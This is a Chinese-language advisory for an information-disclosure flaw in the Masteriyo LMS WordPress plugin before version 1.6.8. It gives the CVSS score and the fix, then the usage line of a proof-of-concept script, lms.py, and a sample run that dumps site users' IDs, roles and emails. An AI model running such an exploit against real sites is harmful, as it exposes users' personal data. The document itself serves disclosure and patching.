软件类型 	插件
软件别名 	learning-management-system（在 wordpress.org 上查看）
已修补？ 	是
修复方案 	更新到版本 1.6.8，或更新的已修补版本
受影响版本 	< 1.6.8
已修补版本 	1.6.8

信息泄露
CVSS 向量
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
CVSS 	6.5（中危）

Masteriyo - LMS for WordPress 插件在 1.6.7 及更早版本中，通过 'get_item' REST 回调存在敏感信息泄露漏洞。这可能允许已认证的攻击者提取包括用户元数据在内的敏感数据。

usage: lms.py [-h] -w URL -u USERNAME -p PASSWORD

WordPres

选项:
  -h, --help            显示此帮助信息并退出
  -w URL, --url URL     WordPress 站点的 URL
  -u USERNAME, --username USERNAME
                        你的 WordPress 用户的用户名
  -p PASSWORD, --password PASSWORD
                        你的 WordPress 密码

python3 lms.py -w http://wordpress.lan -u user -p useruser1
Logged in successfully.
Nonce Value: 91b27ef4d1
+------+-------------+-------------+---------------------------+----------+-----------------------+-----------------------------------------------------------------------------+
|   ID | Username    | Nicename    | Email                     |   Status | Roles               | Profile Image                                                               |
+======+=============+=============+===========================+==========+=======================+=============================================================================+
|    9 | test        | test        | [email protected]             |        0 | ['masteriyo_student'] | http://2.gravatar.com/avatar/b642b4217b34b1e8d3bd915fc65c4452?s=96&d=mm&r=g |
+------+-------------+-------------+---------------------------+----------+-----------------------+-----------------------------------------------------------------------------+
|    8 | agent       | agent       | [email protected]            |        0 | ['subscriber']        | http://1.gravatar.com/avatar/4a0e0a5d4619c3564b0e60b2ae973ff8?s=96&d=mm&r=g |
+------+-------------+-------------+---------------------------+----------+-----------------------+-----------------------------------------------------------------------------+
|    7 | tagent      | tagent      | [email protected]           |        0 | ['subscriber']        | http://0.gravatar.com/avatar/01f353506595eeba4df1a52b35bfdee1?s=96&d=mm&r=g |
+------+-------------+-------------+---------------------------+----------+-----------------------+-----------------------------------------------------------------------------+
|    5 | Kety_Spear  | kety_spear  | [email protected] |        0 | ['wdk_agent']         | http://0.gravatar.com/avatar/fedf00660c526608cd5c90df793148fb?s=96&d=mm&r=g |
+------+-------------+-------------+---------------------------+----------+-----------------------+-----------------------------------------------------------------------------+
|    4 | Garry_Novan | garry_novan | [email protected] |        0 | ['wdk_agent']         | http://0.gravatar.com/avatar/fbc680fbc163811bea4e61ff43cccd59?s=96&d=mm&r=g |
+------+-------------+-------------+---------------------------+----------+-----------------------+-----------------------------------------------------------------------------+
|    3 | Debra_Moran | debra_moran | [email protected] |        0 | ['wdk_agent']         | http://1.gravatar.com/avatar/7f119498e0ed4df002f6676e1b8b1b07?s=96&d=mm&r=g |
+------+-------------+-------------+---------------------------+----------+-----------------------+-----------------------------------------------------------------------------+
|    2 | user        | user        | [email protected]          |        0 | ['subscriber']        | http://2.gravatar.com/avatar/b58996c504c5638798eb6b511e6f49af?s=96&d=mm&r=g |
+------+-------------+-------------+---------------------------+----------+-----------------------+-----------------------------------------------------------------------------+
|    1 | admin       | admin       | [email protected]           |        0 | ['administrator']     | http://0.gravatar.com/avatar/64e1b8d34f425d19e1ee2ea7236d3028?s=96&d=mm&r=g |
+------+-------------+-------------+---------------------------+----------+-----------------------+-----------------------------------------------------------------------------+